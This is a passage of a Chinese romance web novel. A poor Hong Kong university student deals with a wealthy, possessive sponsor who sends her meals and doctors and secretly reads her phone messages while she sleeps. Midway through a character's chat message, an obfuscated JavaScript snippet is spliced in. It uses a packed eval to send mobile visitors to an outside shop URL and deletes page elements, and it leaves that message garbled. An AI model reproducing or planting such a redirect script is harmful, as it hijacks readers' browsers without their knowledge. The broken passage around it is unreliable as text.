她忍不住赞扬:“何记者,感觉你也挺能吃苦的。” 何记者以为是说他的工作,叹息了声:“没办法,要赚钱养家嘛。你喊我Kevin就好啦。” 采访拍摄的地点选在校内本部大楼,大楼内是典礼空间不对外开放,除非有特殊活动或预约导览。 她们只能走在主体是花岗岩柱廊和红砖墙的底层长廊,周围有游客拍照打卡。 采访的问题没什么难度,和橙只需如实回答。 前面都说得很好,后面何记者要求和橙加一句:这些年资助人宗先生时不时会通过书信形式关心我学习和生活情况…… 甚至还给她5张造假的书信。 和橙看着书信内容皱眉:“宗先生没有给我寄书信,也没有经常关心我的学习和生活情况。” 何记者啧一声:“结尾要Sublimation嘛,你这样说太平了,搞得好像宗生把钱丢给你就什么也不理了。” 本来就是这样。 给钱还不够吗? 和橙捏着书信不应话,烈日当空,墙壁散发着滚烫温度,冷汗流入鬓角又洇湿T恤圆领,她咬着泛白的唇,低声:“新闻应当实事求是。” “话说,怎么你们都喊他宗生?” 何记者说她犟,“你多加一句话,对宗生也有好处,上嘴唇碰下嘴唇的事。宗生就是宗先生的Abbreviation嘛,我们都这样喊。” 和橙一愣,那前两天晚宴上要请她喝酒的人,到底是不是宗先生? 如果是的话,那她也太不识好歹。 两人意见相左时,耳畔传来爽朗的笑声。 笑声清透敞亮,在午后燥热的空气里倏然荡开,仿佛盛夏里一碗冰镇过的梅子汤,白瓷碗壁撞着碎冰,叮叮当当,凉沁沁地溅了一身。 侧颈看去,四五几人从不远处走来,全是西装革履的气宇轩昂,阳光将地面烤得冒热气,隔着热腾的气温。 一行人撑着伞,统一的黑色在阳光折射下如黑曜石闪着淡淡光泽。 最前方的那把伞沿抬起。 伞下的男人穿着一件白丝绸衬衫,垂顺衣料依着肩背线条松松流泻,衬得他通身筋骨都透出疏懒的贵气,像一件被精心养着的、不染尘埃的古玉。 是宗勖白。 身侧的男人为他撑着黑伞,稳稳地将一方阴凉笼在他头顶。 阳光被隔绝在外,只在他脚边投下边缘清晰的、墨色的圆。 他连打伞都不需要自己动手。 别的男人阳光下打伞或许会有些别扭和奇怪。 他例外。 这份斯文儒雅与生俱来的矜贵,让他仿佛本就是在荫蔽与妥帖中的造物。如同雾霭散尽后显露真容的雪山,清冷,遥远,连偶尔落下的阳光都怕惊扰了易碎。 何记者率先跟他们打招呼,喊了声宗生。 这群人里面,和橙见过好几个,其中一个是前几天在高桌晚宴上台发言的商学院副院长,他坐在宗先生旁边,宗先生鼓掌后他也跟着鼓掌。 和橙礼貌地微躬身,撞上宗勖白投来的视线,不知要不要喊人,其他人都没喊,只喊他一人好像有些奇怪。 宗勖白长身立在她面前,眉眼温柔地黏在她的脸,“不记得我了?” 似在调侃她,“昨天我们还一起经历生死时速。” 和橙没想到他会主动打招呼,气虚细弱:“宗先生。” 走近后林仲熹才发现她是前两天在高桌晚宴上台的那位女学生。 当时她被台下的学生起哄为难,宗勖白率先鼓掌解围,林仲熹跟着鼓掌,注意到她下半身那片突兀的羊绒毯。 与她上半身充满廉价朴素的白裙不同,毯子质地细腻远看像一块上好的黑曜石,掐腰的蝴蝶刺绣异常醒目。 懂的人都知道宗家二公子喜欢蝴蝶,他的贴身物品几乎都有蝴蝶刺绣。 林仲熹用眼睛再三巡逻,从精美的刺绣工艺和独一无二的针线手法确认这就是出自国外高级手工坊的纯手工定制。 全香港也只有宗勖白才能调动手工坊给他绣上那么无关紧要的图案。 带有蝴蝶刺绣图案的羊毛毯居然出现在一个女学生身上。 送她羊毛毯,替她解围,如今还调侃人家不记得他。 林仲熹挑了挑眉,似懂非懂地笑了笑,用普通话说:“卢琪同学,好久不见。” 和橙大脑宕机,意外他居然记得自己。 完蛋,露陷了。 她和卢琪都是从内地考入港大的学生。 和橙读大一,卢琪读大二,虽然不同年级但因港大奇葩的入住宿舍制度一个月前成为室友。 港大每年都有High Table Dinner(高桌晚宴),分学院,宿舍或者社团举办,不同高桌晚宴氛围也不一样。 卢琪一直以来就很想参加商学院举办的高桌晚宴,条件是每个专业积分要排在top3%以及交一笔费用。 她成绩优异,只是家庭情况不是很好,在学校靠勤工俭学和奖学金生活,上一年觉得要交几百块费用太贵便没参加。 今年暑假去奶茶店摇了两个月奶茶,十分大气地交了六百八十,得到一封邀请函。 好不容易等到晚宴即将开始,却因吃了放冰箱两天的食物急性肠胃炎。 当时卢琪病怏怏,口吻不舍、难过、遗憾,请求和橙帮忙参加。 和橙听过卢琪的科普,知道不去晚宴的后果。 交的费用不能退回来,缺席又会被记录为缺勤,轻则影响下个学期申请宿舍,严重还会列入黑名单。 最主要的是会影响下个学期申请宿舍,在港大,每年申请宿舍都要拜天拜地求菩萨保佑。 港大不保证每个大学生都有宿舍住就算了,本科四年也不保证每年都有宿舍,必须重新抢。 她们现在的宿舍是很窄的二人间,里面只有两张单人床和书桌,洗手间和淋浴间是和同楼层几十个女生共用。 住宿费却不便宜。 不过外面租房更贵更不方便。 如果卢琪不参加晚宴,明年就会面临没有宿舍住的困境。 相同的求学背景令彼此惺惺相惜。 朋友既然有求于她,她能解决就不可能坐视不理。 去参加晚宴的路上发生了点意外,耽误了时间,导致成为最晚抵达的人。 偏偏今年晚宴有个变态规定,最晚抵达的人要上台表演才艺。 和橙便顶着卢琪的名字上台即兴发挥英文诗歌。 今天,这周围的人都知道她叫和橙,哪里来的卢琪。现在被发现她顶替卢琪应该不会受到什么惩罚吧。 身侧的面料被她捏得皱巴巴,在被众人揭发之前,和橙主动解释:“我不是卢琪,我叫和橙,是卢琪的室友,高桌晚宴那天她身体不舒服,我们怕不去晚宴明年不能申请宿舍,所以我代她出席了。” 林仲熹了然地噢了声:“看来学校有些制度是该改改了,让学生提心吊胆的制度能是什么好玩意。” 和橙接话:“制度是死的,人是活的。那卢琪明年还能申请宿舍吗?” 林仲熹笑了笑:“当然,这算什么大事啊,看你紧张的。”顿了顿:“不过呢,能不能申请到就不是我能决定的。” 对于学生来说,不能申请宿舍就是大事,大事解决后和橙松了口气。 “生病了?是昨日飙车吓到了?” 随着低沉的嗓落下,和橙的额头覆上一股清凉感,头顶上方剪下阴翳掉在眼皮。 肌肤突然攀上陌生的异物触感,和橙反射性后退两步,抬头,冒着烫水的眼睛多了几分警惕,而宗勖白的右手还停留在半空,手背对着她,被定住般。 原来刚才是宗先生在用手背探她的体温。 她后退的动作被大伙看见,周遭瞬间静如孤岛,其他人不敢置信,面面相觑后假装看其他地方。 唯有林仲熹是幸灾乐祸的看好戏眼神。 宗勖白眉眼里的温度散了点,金丝眼镜后面的疏离淡漠感便浮了上来。 他唇角翘起,弧度很浅,面中都没牵动。 那只伸出去的手不着痕迹地缓慢往回,扶了扶眼镜两侧边缘。 “对不住,吓到你了?” 极其绅士的口吻。 是有点被吓到了。 听到宗先生说对不住和橙有点意外,惊讶于像他这样身居高位的人,居然会说道歉,游刃有余又诚意满满。 林仲熹憋不住,唇角的笑意越来越明显。 之前在高桌晚宴就看出宗勖白对这妹仔有点与众不同,没想到今天居然还能看见他想关心人家妹仔关心不成还给人道歉的场面。 何记者见和橙似乎没说话的打算,他又看不得别人的话掉在地上,为了缓解僵局,开口:“和橙同学确实不舒服,昨天吃坏了肚子,宗生真是慧眼。” “不舒服还采访?” 宗勖白的嗓音听不出情绪。 何记者差点把自己的舌头咬了,早知道不说话,讪讪地笑,用粤语说:“和橙同学话冇事……” 和橙不觉得自己后退是错误的,大庭广众之下,男性未经同意探她的额头本来就不对,哪怕资助人是出于担心也不行。 昨天两人肢体有接触,是因为握手本就是礼节。 不过他道歉了,那她不会计较。 “我没什么大事,已经好多了,谢谢宗先生关心。” 宗勖白轻颔首。 林仲熹清咳了两声,意味深长地说:“是,宗生确实很少这样关心别人。” 和橙连忙解释:“因为我是宗先生资助的贫困生,宗先生心善。” 心善?林仲熹第一次听到如此新鲜的词语形容宗勖白,打趣地看了眼当事人,那眼神彷佛在说:你装得很好啊。 但凡跟宗勖白打过交道的,谁不知他面善心狠,外人总易被那层斯文的釉色迷惑,也难怪涉世未深的小姑娘,会误将深渊认作暖川。 被斜觎后又恍然大悟似的,“原来你就是宗生资助的贫困生?难怪难怪。今天太阳晒别中暑了,出门带伞了吗?” 和橙摇头。 “Jason周。”林仲熹朝后喊了声。 周启云接收到讯息,上前一步把手里的长柄伞递到和橙面前。 目光在她脸上多停留了几秒。 原来,每月账户划出的款项,抵达的是这样一张脸。 鲜活、漂亮,眼里藏着未经世事的灵气。 那一瞬间,过往那些格式化的问候邮件、生涩的感谢短信,忽然都有了具体的温度与画面,在他脑海里活了过来。 和橙瞪圆了眼睛。 这是刚刚给宗勖白打伞的男人。副院长怎么敢指使宗先生身边的人? “不用的,我不需要。” “拿着。” 宗勖白言简意赅。 轻声但不容置喙。和橙不好再次在大庭广众下佛了宗先生的好意,接过伞道了谢谢。 几人掠过她们,往前面走。 礼堂那扇紧闭的大门被打开,他们进去后,有两人留在门口左右两边,站姿如同一颗松。 “之前就听说开宗集团给港大捐助了10 Million,这礼堂也要renovate,一直没见动静,这百年历史嘛,怕翻新技术不行会Damage建筑,据说去内地找了好久的建筑Repairer。”何记者摸了摸下巴,“宗生今天过来应该就是实地考察吧,大热天的,真係辛苦晒。” 一千万。 那是多少个零。 和橙突然明白了昨天宗先生说的那句:十万块在他那里根本做不了什么。 跟何记者待久了,和橙发现他说话总是粤夹英,中夹英,有点搞笑。 何记者捕捉到她唇角的笑:“lvy,想到什么事情那么Happy?” 和橙决定因人而异,学着他的说话方式:“我还是不想Deception别人,我是不会念那几句的。” 何记者满脸失望,有些痛心疾首地指责:“宗生刚刚还给了你an umbrella呢。” “一码归一码,没有的事情就是没有,我也是为宗先生responsible。” 一来一回地掰扯,和橙越发精神不济,腿力不支,随时想倒下去时何记者收到一条短信。 【天热,按和橙的意愿拍完结束。】 周启云发来的。 回头看了眼礼堂,门口只有两个保镖似的人物。 他挠了挠脑袋没再坚持。 采 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远远看见一道熟悉的身影立在一辆黑色轿车旁边,似在等人。 她脚步一顿,往轿车里面看,车窗贴了膜,压根看不见里面。 炳叔见了人迎上去,看出和橙的疑惑:“宗生不在。” 不在就好。 和橙暗暗松口气。 并不是说不想见到宗先生,只是跟他相处莫名有压力,她也不知这压力源自哪里。 也许是人类对上位者天生的尊敬和小心翼翼。 小姑娘的心思全在脸上,炳叔笑了,拎着木制食盒递给她:“身体不舒服要食清淡些。” “宗生不知您有什么忌口,吩咐人多做了几样菜式,您挑喜欢的吃。” 和橙有些莫名其妙:“给我的吗?怎么突然给我送饭?” 给她送饭的还是宗先生,这种感觉好奇怪。 上次给她送饭的人是叶言之。 她是住宿生,他是学校老师的家属,住在教师楼,老师对她很好,见她周末不回家,周末学校食堂又不开放,总会喊她去教师楼改善伙食,她脸皮薄,除非有其他同学一起才会跟着去。 到后面,叶言之擅自拿饭盒装上满满的饭菜塞到和橙手里,她要是不接他就往垃圾桶里扔,不得已接下。 再后面,叶言之会装两个饭盒出来,跟和橙并肩坐在学校长椅吃,两人之间座位间隙很大,不远处是操场,有人打完篮球走上来,以为她们不认识,往他们中间一坐酷酷喝水。 叶言之朝那人看去,十分不满:“哥们,你这一身臭汗,给我们饭菜里加佐料呢?” 那人说了两句不好意思,瞅了瞅满脸通红的和橙,意识到什么,起身离开了。 这会,陆陆续续有不少人往太古堂进进出出,不是回宿舍就是吃晚餐。 “这我就不知了,您得自己问宗生。”炳叔示意她把饭盒接起来:“里面有汤,您拿稳些。” 和橙还是不太想接,宗先生送饭给她实属莫名其妙。 她深知拿人手短吃人嘴软,她知道不该这样揣测宗先生,但还是忍不住想,宗先生对她是不是太好了? 这份好,她消受不起。 无以回报。 “和橙小姐。”炳叔喊她:“您不接,我也不好交差。” 炳叔是听宗先生安排,她要是不接也是在为难他。她泛白的唇被咬红了,咬着磨着,拎过沉甸甸的饭盒,道了谢谢。 “这把伞,也是宗先生的,交给您吧。” 炳叔没接伸手挡了下,礼貌一笑:“宗生没交待我。我只负责送饭。” 在宗勖白身边那么多年,他并非只是司机那么简单,他懂宗勖白的一言一行,有时候一个眼神,就知道宗勖白想要什么。 司机这份活也不是谁都能做好,宗先生的私人物品又何时给过别人,毛毯到伞到送餐,偏偏在和橙身上几次破例。 他是过来人,又岂会不懂。 和橙心一落,拎着餐回到宿舍。 在宿舍长廊遇见何书霞,她冲和橙挑眉,笑容谄媚:“和橙,你跟楼下那辆库里南的车主认识吗?” 何书霞虽然是内地生,但对港圈富豪八卦也算了如指掌。 无人不知【港·ZHB6】是宗氏集团那位二公子宗勖白的车牌,是爷爷送给他的18岁生日礼物,当年在拍卖会拍出了六位数的高价。 更令人咂舌的是,这样六位数的高价车牌,宗勖白拥有六个。 单看觉得很低调没什么特别之处,要是有幸看见他家地库会发现全是连号:【港·ZHB5】【港·ZHB6】【港·ZHB7】【港·ZHB8】【港·ZHB9】【港·ZHB10】 视觉上颇为壮观。 在香港,宗的粤拼是Zung,勖是Huk,白是Baak,ZHB是宗勖白的粤语拼音首字母。 爷爷送他连号的原因也很直白:祝福他未来一帆风顺。 宗家几位公子千金,大公子宗柏延自小跟着妈妈在娱乐圈抛头露面,后面妈妈退圈后,生的两个孩子,都被保护得很好,几乎没怎么暴露在媒体和大众面前。 宗柏延受妈妈影响,在娱乐圈当导演,去年拍的一部文艺影片拿了奥斯卡金像奖,轰动一时。 有关宗勖白的报道少得可怜。 如今,居然看见他的车牌跟和橙有关联。 和橙不懂车,刚才楼下好几辆车,哪里知道何书霞说的是哪辆车。 身体疲惫也没力气多说什么,“我不知道哪辆是库里南,身体不太舒服先回去了。” 回答了又好像没回答。 说完便进了宿舍,关上门。 紧闭的门让何书霞愣在原地,欲言又止,却只能冷笑了声进自己宿舍。 坐在椅子上,气不过拿出手机跟姐妹发语音吐槽:“我跟你说,我没见过这么装的人,装什么呢……”她把事情一五一十说出:“还不知道哪辆是库里南……不是跟人司机聊得挺好吗!” “难道是怕我知道她跟人司机搞在一起了吗?” “肯定是跟那个四五十岁的司机搞一起了!她估计还以为那司机是车主呢!没见识真可怕,我都懒得提醒她被骗了。” “老天啊,她居然放着好好的有钱大少爷不要,勾搭一个糟老头子……” 能入宗勖白的眼,菜的卖相和口感一定是极好的,坏就坏在和橙身体不舒服也没什么食欲,喝了半碗鲜美的汤,吃了几样新鲜精致小菜便放下筷子。 重新盖上木雕盒。 爬上床补眠。 太阳西沉,粉黄光影透过玻璃开始昼夜接驳,变化多端的梦幻色彩折射在室内白色墙壁,最终窄小的房间彻底昏暗。 和橙睡得并不安稳,睡梦中总是捧着时不时阵痛的腹部,喉咙干枯想喝点热水,一想到要起床出去公共厨房烧热水又犯懒,继续闭着眼。 阒静的空间,在她翻身的床垫咯吱声里被打破,紧接着是一阵手机铃声。 “是我。” 电话那边的嗓低沉温和。 6.审判 熟悉的声像电流,从耳朵窜入五脏六腑。 有冷风从窗户间隙灌进来扑在她额头,她睡意稍减,来电显示归属地是香港,一串陌生的数字,尾巴六个三。 也不是她之前用短信联系的那个香港号码,何况那个号码被她备注了资助人宗先生。 那眼前这个号码的主人…… 她睡得晕沉沉,喉咙也黏糊糊:“宗先生?” 他笑了声,“晚餐合胃口么?” 确定对面是宗勖白,她思绪清醒不少。大人物可能都几个手机号,工作私人分开。 “合的。谢谢宗先生。” “身体好些了?” “好些了。” “没骗我?” 和橙捂着隐隐作痛的腹部,咬着内唇那块软肉,有种宗先生就在旁边看她撒谎的心虚感。她诚实,有些问题一旦再问一遍就不敢再骗人。 他又徐徐笑了几下,隔着电话也能勾勒出模糊朦胧的英俊面容:“怎么bb一样,生病了好没好都不知。” 低嗓极温柔,像在哄小孩,沉磁的苏麻感容易令人浮想联翩,不过和橙不会多想,她知香港人爱说英文,也知宗先生绅士。 “我知道,只是不想骗您,睡一觉明天就好了。” 宗勖白慢条斯理,“医生跟你说睡一觉就好了?不打针不吃药怎么好?拖下去对你没好处。炳叔已经在楼下,送你去看医生。” 和橙指骨一蜷,惊讶地坐起,浅薄月色透过玻璃窗印在床边,她整个人笼在银色,憔悴的面色平白增添几分柔美。 她起床借月色走到窗边,昏暗的楼下树影憧憧,橘黄的灯光在一辆黑色轿车上铺满鎏金。 那辆车不知是一直没开走,还是又折返了回来。 她还是震惊状态,嗫嚅:“我吃了药,您不用叫炳叔送我去医院。” “吃的什么药?瞎吃啊?” “我没瞎吃,卢琪前两天不舒服也是吃的那个药。” “和橙。”宗勖白突然一本正经地口吻喊她名字,话里有几分指责:“你还真是bb,都不知自己生的什么病就跟着别人吃药,还说不是瞎吃。” 一语惊醒梦中人。 和橙生病的症状跟卢琪大差不差,都是呕吐,头晕,肚子不舒服,浑身无力,没看医生,两人就定论是急性肠胃炎。 吃了药不见好转怀疑是病得更严重,也没怀疑是没吃对药。 她动摇了,但面上还是坚持自己的主见:“我就是跟卢琪一样是肠胃炎。” 宗勖白听出她的固执,无奈地笑:“行,待会看看医生怎么说吧。” 他这是还要送她去看医生的意思。 和橙再次拒绝:“真的不用的,我明天还没好自己会去保健室看医生的。” “别跟我犟,早点看医生,你今晚也能睡个好觉。”宗勖白淡淡呼吸,又浅浅地吐出声:“你要是不下去,炳叔会一直在那等。” 好从容有理的霸道。 和橙一噎,欲言又止。 香港夏季长,哪怕已经十月底依旧没机会穿薄外套,可能是生病的缘故,和橙觉得很冷,一股冷浸浸的寒意从脚底窜起,从柜子里翻出外套下楼。 与宿舍下坡路这股热风对冲,她十分不适地打了个喷嚏。 回想电话里宗勖白强势又不容人拒绝的做事方式,五指不由自主攥住真皮座椅的边缘。 宗先生的好心让生病又独孤的她在异乡感受到一丝温暖,但霸道又让她没来由的全身缩了缩,把自己蜷在车门角落,盖着外套玩手机。 在不属于她的地盘里营造一个属于自己的小天地,跟叶言之聊天。 聊的都是些生活琐碎事。 到后面,叶言之又撒娇:【不想学习了,想橙橙。你想我吗?你从来没说过你想我。】 和橙面皮又热了,她是想的,吃着宗先生送的饭菜时想到叶言之,身体不舒服的脆弱时刻也会想他。 【想呀。】 叶言之得寸进尺:【怎么想的?想了几次?】 和橙诚实回答:【今天宗先生给我送饭,我想到高中你也经常给我送饭吃,老师煮的酿豆腐酿苦瓜和梅菜扣肉可好吃了。】 叶言之:【宗先生为什么给你送饭?】 一行字把和橙问住了,还以为叶言之会跟她一起回忆过去,没想到他关注点在宗先生为什么给她送饭。 牵一发而动全身这个道理,在这一刻体现得淋漓尽致,异地恋,很多悲哀喜乐或者新鲜八卦都没办法及时分享给对方,和橙本意也想对他隐瞒吃坏肚子不舒服,不想让他担心,可现在,不知要用什么理由填补宗先生会送她饭菜。 心善似乎太薄弱。 和橙学会了精简加上转移话题:【宗先生顺手打包的,我没吃几口】 叶言之:【这宗先生人还挺好的,怎么不多吃点?不好吃吗?你也不挑食啊。】 和橙:【不是,就是想念老师做的饭菜了】 叶言之:【小馋猫,等过年回家就能吃上了[摸摸头]】 【你不是想念我妈做的饭菜,你是想我了,我也想你[亲亲]】 和橙:【笑脸jpg】 有叶言之陪着聊天,和橙身体上的疲倦和疼痛缓减不少。 几个红灯的间隙,炳叔从后视镜瞧见小姑娘上车后一直没动,保持着一个姿势蜷在角落,还以为她是真的病得很严重时又时不时听见手机嗡嗡震动的声响。 炳叔不由得笑了下,玩手机还躲在外套里面。 小孩心性。 10分钟后,车子抵达地下停车场。 炳叔熄了火,扭头看向后排:“和橙小姐,到了。” 和橙拉下外套,探出毛茸茸的凌乱脑袋,一双乌黑的眼睛打量窗外。 不是半山别墅。 也不像医院。 搭乘光可鉴人的电梯,炳叔按下最高层,金属门照映出两人身影,她憔悴的脸清晰可见。 阒静不已的空间,不知身处何处,一丝害怕猛然涌上心头,和橙这才开始惴惴不安,觉得自己是不是太信任宗先生了。 “炳叔,这是哪?” 炳叔看出她的紧张和警惕,一路上都盖着头两耳不闻窗外事,这会开始担心了。 他轻笑:“这是宗生在中环的公寓,就在港大旁边。怕回山顶太折腾您,择了个更近的地方。” “宗生的公司也在附近,过来这很方便,不过他今晚有约。” 和橙听明白了,宗生不在她即将要去的地方。 房子一户一梯。 站在门口才知公寓前临海后背山,客厅对出就是维港夜景,远眺整个上环和西九龙海岸线。 有一次跟卢琪在宿舍公共区域聊天,聊到很多人香港工作隔壁城市租房,因为香港房子又小又贵。 又说有钱人都住山顶,中环,深水湾,没钱就在深水埗油尖旺的公屋和劏房,财富分配特别不均匀。 卢琪说她要是能在中环有一套房就好了,不用吃每年申请宿舍的苦,读书又便利。 何书霞刚好在旁边,笑她痴人做梦,又说把她卖了也进不去中环豪宅的大门,因为中环有的豪宅从不挂牌出售,为了维护高端调性得验质看房。 不知这里是不是何书霞口中有钱也买不到的豪宅。 套房是现代简约风,客厅极大极空旷极通透,只有温润暮雪白和沉稳墨云灰两种色调。 是他本人的风格。 会客厅与饭厅之间做了一面巨大的蝴蝶屏风玻璃,上百只不同品类颜色的蝴蝶错落有致地排列,栩栩如生彷佛要从玻璃里展翅高飞。 第一次去宗勖白别墅的局促感又浮上来,过了三道岗亭才见到他的森严让她感慨不已。 没想到才隔了一天,又走进他在中环的豪华房子。 会客厅已经有三位家庭医生在等候,她们旁边是一些医用设备。 和橙倍感压力,太兴师动众。 生个小小的病请来三个医生。两个女西医,抽了几管血一个送去化验一个收拾东西。 另外一个上了年纪的男中医为她把脉,看舌苔之类,问她一些自身情况,说她脾胃阳虚,要温中散寒。 炳叔对她们三人客客气气,从说话方式看得出彼此早就相识有交流。 单人沙发她正襟危坐,等待化验结果时卢琪发信息问她去了哪里,怎么不在宿舍。 和橙:【来看医生。】 卢琪:【药都喝完了吗?是不是很不舒服?怎么不喊我,我可以陪你一起去呀。】 和橙输入文字:没有喝完,宗先生说我应该先看医生再喝药,我现在就在他的公寓看医生,不用担心我。 她看着这行字,总觉得哪里怪怪的,她跟宗先生的关系似乎很亲近,但明明只是连朋友也算不上的关系。 和橙又仔细斟酌了一下,确定这句话没任何问题才发送。 没想到卢琪突然炸屏,连发好几个感叹号。 问宗先生怎么如此关心她,还开始打听宗先生的长相。 有些问题和橙本人也想不明白,只能归咎于宗先生心善。 和橙:【之前跟你说过的,高桌晚宴鼓掌帮我解围和送我毯子的男人都是宗先生。】 卢琪再次惊讶了,说这么重要的事情怎么昨天从山顶回来不说。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461219|201006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有钱又帅人还好,天哪,这是什么极品男人,话说我怎么感觉他是想追你啊?】 这段话让和橙皱眉,心骤然砰砰得厉害,好像飞在半空没有方向的气球被戳破了,不知掉落何处。 她飞速用力摁出几个字:【他知道我有男朋友的,你别瞎说。】 卢琪哎呦一下,说好啦好啦,知道你有男朋友!不开玩笑啦。 和橙:【主要是宗先生身份高贵,我们别在背后造谣,他是我资助人,我们应当尊敬他。】 卢琪【好好好,把他当菩萨供起来】 化验结果出来是食物中毒,医生问她吃了什么调侃她命大,居然硬撑了一天。 为了好得更快要输液。 她手背没什么肉,皮薄,医生很快找到筋脉扎进去。 炳叔送中医到门口,说已经安排车在楼下,辛苦袁叔大老远过来。 袁叔透过他往客厅沙发累得闭目养神的小姑娘身上看,意味深长地笑了:“这倒没什么,难得他需要我,看着他长大,都不知他那么贴心,还给人女仔安排补营养。” 炳叔也笑了:“是的,活久了,什么都能看见。” 袁叔摆摆手:“行吧行吧,明天来我那里拿药。” 输液时和橙累得睡着了,眼皮上覆了层淡黄的灯光。落地窗外是香港夜晚的霓色,屋内一声细小的嘀响后,一道白色身影来到沙发。 吊瓶在缓慢输液,她气色不好。 睡相倒是很好,温馨的橘光铺在白皙生嫩的脸蛋,淬了金般惹眼。 这张安逸的睡脸和中午感受到他的触碰后退两步的警惕脸蛋交合重叠,不爽感轻易浮上。 宗勖白俯身,绷直的双腿禁欲有劲,就着这个姿势手背准确无误落在她额头,轻轻触碰。 是温的。 中午想触摸的落空并没有随着此刻的接触被填满,反而越发被挖空。 宗勖白敛了敛神色,视线从她睫毛到面颊再到唇,正要收回手,突兀的震动声不合时宜地响起。 是她怀里握着的手机。 睡着后无意识,手机即将滑落跌地,宗勖白手疾眼快地抓住。 亮起的屏幕弹出一个叫叶言之的微信消息。 【呼叫橙橙,今天还没跟我说晚安呢。】 短短一行字,溅进宗勖白眼睛,他不满地眯了眯眼,意识到这就是和橙口中的异地男朋友。 和橙还在睡。 之前观察到她的手机似乎不需要密码,手指试探性往上滑,果真开了屏。 屏保是一张合照。 背景是破烂的溪州一中校门口。 她扎着高马尾,身上是宽松的蓝白春夏短袖校服,手里捧着一束五颜六色的花,腼腆地笑。旁边的男生比她高出一个脑袋,白T恤牛仔裤,干净清冽的长相,露齿笑容很阳光。 两人挨得很近,男生垂在身侧的右臂几乎与她的校服贴合。 应该是毕业照。 花土,她笑得很好看。 她男友只能说少年感很足,很年轻,意气风发。 原来她喜欢这个类型的。 宗勖白睇了眼和橙,她不知是梦见什么,皱眉,喉咙溢出轻微的嘤咛。 那声嘤咛落在耳畔,像羽毛轻挠他的心脏。 【橙橙,橙橙。】 屏幕上方继续弹出消息。 宗勖白长睫一动未动。 外人眼里,他是绅士有风度的谦谦君子,殊不知他只是将内心的恶劣和败坏掩藏得很好。只要有一面坏的滚露出来,好的那一面就会被吞噬。 他高贵的外表,灵魂禁不起审判。 最终还是窥探欲战胜了引以为傲的素养品格。 打开微信,聊天列表里叶言之有3条未看的消息红点。 宗勖白翻了几页,她倒是不避讳在男生面前聊他。 宗先生三个字有点刺眼。 她不报忧,生病也没告知男友。 原来喜欢吃酿豆腐酿苦瓜和梅菜扣肉。 还喜欢山顶的别墅。 晚安和想你都是男生主动索取。 异地情侣似乎只能靠口头的甜蜜缓解寂寞。 聊的都是生活琐碎事。 宗勖白的兴趣被男生的头像吸引,打开,不同于和橙的头像是屏保里的那束花。他放的是和橙照片。差不多是俯拍,她吃着根圆筒冰淇淋,像是被人喊了声抬头,眼睛亮晶晶,唇角沾了白色雪糕,背景是麦当劳M标识。 宗勖白拇指划过屏幕,指腹落在她唇角。 阒静的空间,忽而响起一声娇软嘤咛,他垂眸,躺在沙发的人儿皱眉,长睫轻轻颤,有苏醒迹象。 7.爹地 和橙是被医生轻声喊醒的,点滴已经打完。 她昨晚没怎么睡,今天又一直在上课奔波,在沙发一躺就睡了两个小时,身上除了她的外套还多了条毛毯,估计是医生看她睡着帮忙盖的,跟她宿舍那条大差不差,其中一个角落绣着蝴蝶。 医生问她感觉怎么样,有没有好一点,叮嘱要按时喝药。 炳叔送她回学校。 路上她道了好几个谢谢。 车子抵达太古堂楼下,炳叔说:“不必谢我,我只是一颗转动的螺丝钉。” 这话说得很明白,她真正要感谢的人是宗勖白。他才是那个能让螺丝钉动起来的人。 和橙今天晚上都没见着宗先生的面。 回到宿舍,卢琪的八卦之心又熊熊燃烧起来,和橙孜孜不倦地重新说了一遍,卢琪觉得不够又挖不到什么新的,只能遗憾入睡。 睡了一晚,和橙身体逐渐恢复精神气。 从教室出来又看见那辆熟悉的黑色轿车,以及车旁站着的炳叔。 依旧是送饭。 这次多了一盅中药。 “这中药文火慢煨了4小时,可能会有些苦,尽量不要冷服,温服最佳。” “您晚上想吃什么?我让厨师做。” 和橙吓得一时不知从何说起。 怎么还伺候起她来了。 “炳叔,我不需要送饭,也不需要喝中药,您不用给我送。” 炳叔还是用之前的话术回答她。 和橙拎着沉重的餐和中药回到宿舍,犹豫片刻,找到通讯记录,拨了那串香港归属地,尾号六个三的号码。 拨不通。 备注是【资助人宗先生】的号码也打不通。 她便发了条短信。 【宗先生,谢谢您的好意,学校食堂有饭,您不用安排炳叔送饭给我,我不会再吃那个过期鸡翅了,会照顾好自己的。】 她打开食盒,竟然是家乡的特色美食酿三宝。 晚上,炳叔照例来送餐。 和橙有意提起宗先生没不接电话也没回消息。 炳叔说宗生去了美国出差,要四天后回来,这会还在飞机上,下了飞机才能看到消息。 入夜,和橙准备去洗澡接到来自美国的电话。直觉告诉她是宗先生,立马接听。 “宗先生,您到美国了吗?” 听筒很静,连细微的风声都没有,隔着电波能把人静得头皮发麻。和橙又试探性喊了声:“宗先生?” 那边拖长音,潦草的嗯了声:“宗先生太生疏,换个称呼。” 语气听上去不太开心。 生疏? 她们也没很熟吧? 不叫宗先生那要叫什么?她不可能直呼他的名字,那样是大不敬。 宗先生供她读书,就像她的再生父母,加上现在对她如此关心照顾,把她当女儿养,难道他是暗示她要叫父亲? 他换这个年纪已经想要女儿了吗。 他要是想,她为了感恩报答也可以动动嘴皮子哄他开心。那她会不会占了便宜?白白捡了这么个有钱颜值高的父亲。 爸爸在她一岁时就因山体滑坡救人去世了,她有记忆以来从未喊过爸爸,如今也叫不出口,而且爸爸只有一个。 和橙脑子一转,灵机一动,香港小孩都叫父亲daddy,爹地,跟爸爸读音相差大又不会有别扭感。 就当读书念英文一样。 “我知道宗先生对我好,您就像我的家人一样照顾我,您要是不嫌弃,我……” 和橙咽了咽喉咙,抓紧手机,细弱的嗓带点试探:“d……daddy?” 不细听压根听不清。 原来英文还是有些难以启齿的,她耳朵瞬时红了,心跳扑通扑通像高中跑了800米,等着被审判的提心吊胆。 “?” 以为自己听错,宗勖白眺望远方。 早上八点的纽约,晨光给玻璃幕墙镀上冷冽金边。华尔街早已苏醒,西装革履的身影提着公文包,脚步快而碎,各色齿轮,正以各自节奏咬合转动。 